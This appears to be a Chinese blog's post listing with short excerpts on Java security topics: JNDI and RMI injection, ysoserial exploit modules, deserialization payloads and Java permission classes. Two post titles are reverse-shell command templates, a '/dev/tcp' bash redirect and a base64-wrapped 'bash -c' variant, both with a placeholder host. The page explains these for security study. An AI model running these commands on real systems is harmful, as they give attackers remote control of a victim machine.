- 博客(265)
- 收藏
- 关注
原创 javax
javax是 Java 标准库的一部分,是 Java 平台的一些扩展包的命名空间(package)。它是 Java 官方标准库的一部分,但表示它们起初是扩展(extension)API,而不是核心(core)API。javax.xml。
2024-12-30 18:24:30
369
原创 java.naming.InitialContext 和 java.rmi.Naming
都是用于访问远程资源的工具,但它们的应用场景和功能有所不同。它们都提供了一个抽象层,隐藏底层通信细节,让开发者专注于逻辑实现。两者都可以在分布式环境中工作,涉及远程服务调用。两者都支持通过特定的名称来查找和访问远程资源。选择哪种工具取决于应用的需求和复杂性。
2024-11-19 15:46:12
444
原创 动态代理生成的字节码结构
JDK 动态代理生成的代理类主要依赖来实现方法的拦截和调用,代理类本身并不包含具体的业务逻辑,而是将所有方法调用委托给。这种设计使得动态代理在不修改源代码的情况下增强方法的功能,广泛应用于AOP(面向切面编程)日志记录权限控制事务管理等场景。由于代理类是在运行时动态生成的,因此你通常无法在编译时直接查看其字节码文件,但可以通过工具(如)保存并分析其字节码结构。
2024-11-19 10:26:39
392
原创 JNDI绑定远程对象
rebind()方法是为了确保即使"Y4er"已经存在,也能更新绑定,而不是报错。这种绑定机制为分布式应用提供了一种灵活的方式来共享和管理远程对象。
2024-11-18 20:17:40
210
原创 通过Unsafe和反射执行命令
目的:这段代码的目的是在 macOS 系统上执行特定的 shell 命令,打开计算器应用程序。技术手段:利用 Java 反射和Unsafe类来绕过 Java 的安全限制,直接与操作系统交互。这种技术通常被认为是恶意行为的标志,因为它绕过了 Java 的安全沙箱。风险:这类代码有可能被恶意使用,运行未经授权的命令,特别是在用户不知情的情况下。因此,使用Unsafe类和反射需要极高的权限,并且可能会被现代 JVM 和安全策略所禁止。
2024-11-17 21:25:41
753
原创 为什么 classpath 上有 Evil.class 会导致双亲委派机制的问题?
在当前项目的 src 目录下创建了一个 Evil 类,因此 Evil.class 被编译到项目的 classpath 中(通常是 target/classes 或 bin 目录)。当在 IDE 中运行项目时,Evil.class 文件会出现在 应用类加载器(Application ClassLoader) 的加载路径(classpath)上。就不会再用自定义的类加载器。
2024-11-16 10:57:24
89
原创 doPrivileged()
是 Java 安全机制中用来执行敏感操作的工具,确保这类操作不会因为调用者权限不足而被阻止。适用场景:通常在开发 Java 库、需要执行安全受控操作时使用,以确保在受限权限环境中仍能安全地完成关键任务。风险:滥用可能导致权限提升漏洞,因此必须确保只在受信任的代码中使用,并严格控制其作用范围。
2024-11-16 10:40:30
303
原创 ProtectionDomain
是 Java 安全模型中的一个关键组件,用于管理类的安全属性,包括代码来源和权限。它用于确定代码在运行时可以执行哪些操作,通过与协同工作来保护系统免受不可信代码的影响。典型用途:沙箱环境、权限检查、类加载器中的权限分配等。通过,Java 可以在运行时基于来源和权限来控制代码的行为,从而确保应用程序的安全性。
2024-11-15 21:22:04
609
原创 CodeSource
CodeSourceCodeSource是 Java 安全架构的一部分,用于表示代码的来源以及与其相关的数字证书。它帮助安全管理器和类加载器基于代码的来源和签名来分配权限,以实现更细粒度的安全控制。通过CodeSource,Java 应用程序可以更好地控制来自不可信来源的代码的行为,从而减少潜在的安全风险。
2024-11-15 21:08:19
782
原创 用 C 语言编写一个动态链接库并让 Java 程序通过 JNI调用
Java 代码:声明本地方法并加载共享库。生成 JNI 头文件:使用javac -h命令生成包含本地方法声明的 C 头文件。C 语言代码:在 C 中实现 Java 中声明的本地方法,引用 JNI 头文件。编译 C 代码:使用gcc编译 C 代码,生成.so文件。运行 Java 程序:加载并调用 C 中实现的本地方法。通过以上步骤,就可以在 Java 中调用 C 语言编写的动态链接库。
2024-11-15 20:32:03
759
原创 ysoserial.exploit.JRMPClassLoadingListener
是工具中的一个模块,用于攻击。这个模块的作用是创建一个恶意的 RMI 监听器,当目标服务器连接到该监听器时,强制目标系统加载攻击者控制的类文件,以执行恶意代码。
2024-11-14 20:04:04
729
原创 ysoserial.exploit.RMIRegistryExploit
是工具中的一个模块,通常用于对进行攻击。其作用是向目标 RMI 注册表发送恶意序列化 payload,从而在目标服务器上执行任意代码。
2024-11-14 19:51:44
861
原创 ysoserial.exploit.JRMPClient
是工具中的一个模块,常用于配合的攻击。与不同,JRMPClient用于连接远程 RMI 服务器并向其发送恶意 payload。
2024-11-14 19:47:20
573
原创 ysoserial.exploit.JRMPListener
是工具中的一个模块,通常用于模拟。它主要用于配合 Java 反序列化漏洞的攻击,通过建立一个恶意的 RMI 服务端,来接收和执行反序列化的恶意对象。这在安全测试(尤其是针对 Java 应用的 RMI 反序列化攻击)中非常有用。
2024-11-14 18:46:40
882
原创 直接操作文件描述符
这段代码通过反射访问的私有构造函数,并尝试使用文件描述符4来创建一个。如果文件描述符4已经被其他进程占用(例如标准错误输出),则会将"00theway"直接写入标准错误输出(stderr)。然而,直接操作文件描述符是比较危险的操作,可能会导致意外的输出或覆盖其他进程的文件描述符,因此这种做法在实际开发中是不推荐的。来源:https://www.00theway.org/2020/01/17/java-god-s-eye/
2024-11-13 16:48:50
268
原创 自定义一个RMI接口类
通过字节码来自定义一个RMI接口类,在类实现的方法中返回命令执行的结果。注意我们要找的是interface,并且我们要返回命令执行的结果,所以方法的返回类型应该为String,并且方法必须抛出 java.rmi.RemoteException 异常。这里选择weblogic.cluster.singleton.ClusterMasterRemote接口。这段代码实现了一个远程调用对象RemoteImpl。
2024-11-13 11:54:44
392
原创 反序列化Payload分块传输
在最后一个包中(,发送字节码的最后一个包,全部倒数第二个包)将字节码进行Base64Decode并写入class文件。使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件。注意一个小坑,传入URLClassLoader的路径要以file://开头且以/结尾否则会找不到对应的类。可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块。(也可以直接写字节码二进制数据,不过个人认为Base64好分割处理一些)
2024-11-13 10:12:43
190
原创 TC_OBJECT 和 TC_CLASSDESC
在 Java 的反序列化过程中,TC_OBJECT和是关键的标识符,它们分别用于表示对象的开始和对象的类描述符。下面我将详细介绍它们的结构及其作用。
2024-11-12 21:06:18
342
原创 反序列化例子
在序列化过程中,如果A对象有字段B,则 B对象会先被序列化,然后A对象会使用引用该B对象。在反序列化时,A对象会首先被读取,字段b会被识别为对已经反序列化的B对象的引用,因此保证了对象引用关系的正确恢复。在实际序列化数据中,是关键,它确保了A对象中b字段指向正确的B对象实例。这样,Java 序列化机制确保了复杂对象之间引用的正确恢复。
2024-11-12 20:54:23
422
原创 TC_REFERENCE
用于处理对象共享引用和循环引用的问题,通过引用句柄避免对象的重复创建。这种机制确保在序列化和反序列化时,Java 对象的引用关系保持不变,从而保持对象数据的一致性。在 Java 的和中,的机制使得序列化更加高效,并防止数据冗余。
2024-11-12 20:19:25
310
原创 JNDI Reference加载RMI恶意类
在 JNDI 注入攻击中,恶意类不需要实现Remote接口,也不需要继承。攻击者利用的是 JNDI 的对象查找机制和反序列化漏洞,而不是标准的 RMI 远程调用。JNDI 注入的目标是让受害者系统加载并执行恶意代码,而不是让其调用远程方法。因此,恶意类可以是任意普通类,只要它包含恶意的静态块或构造函数即可实现代码执行。
2024-11-10 19:51:01
343
原创 Reference
Reference在 Java 的 JNDI(Java Naming and Directory Interface)环境中,Reference是一种特殊的对象类型,用于引用并间接访问其他对象。它并不保存实际的对象实例,而是保存了一些指向外部资源的信息,包括类名、工厂类名和地址等。通过这些信息,可以在需要的时候动态地创建或获取实际对象。Reference将对象的查找与实例化解耦,而不是直接将对象绑定到 JNDI 目录中。ReferenceReference是 JNDI 中的一种引用类型。
2024-11-08 21:38:59
538
原创 trustURLCodebase属性
是一个 Java 系统属性,用于控制 Java 中的 RMI(远程方法调用)服务在处理远程对象时是否信任来自指定 URL 的类代码库。
2024-11-08 17:24:59
242
原创 java 执行反弹shell
虽然 Java 不能直接执行复杂的重定向和管道命令,但通过Base64 编码和封装成单个 Bash 命令的方法,可以让 Java 正常执行这类命令。因此,虽然这段代码中有管道符,但它的执行方式与直接的重定向命令不同,从而可以绕过 Java 环境的限制。
2024-11-08 17:03:34
1020
原创 PowerShell 特殊的Base64
PowerShell 的参数使用UTF-16LE 编码,因此需要在每个字符后面添加一个0字节来匹配其编码格式。这种做法确保 Base64 编码后的字符串在 PowerShell 解码时被正确解释,否则会因为编码不匹配而导致命令执行错误。这就是为什么要在字符后面加0的原因。
2024-11-08 16:30:01
770
原创 bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}
这条命令是一种的攻击示例,使用了和管道组合技术,用于建立从受害者设备到攻击者设备的反向连接。攻击者可以通过这种方式获得对受害者设备的远程控制。
2024-11-08 16:20:10
441
原创 bash -i >& /dev/tcp/ip/port 0>&1
这条命令是一个,用于建立一个从受害者设备到攻击者设备的反向连接。它通常用于网络攻击中,以便攻击者获得远程访问权限。
2024-11-08 15:45:39
463
原创 sun.reflect.misc.ReflectUtil.forName(“java.lang.String“)
是一个调用类中forName方法的示例。该方法的作用是动态加载类,就像一样,但它在实现上通常属于 Java 的内部 API,通常不推荐直接使用。
2024-11-08 11:29:11
314
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人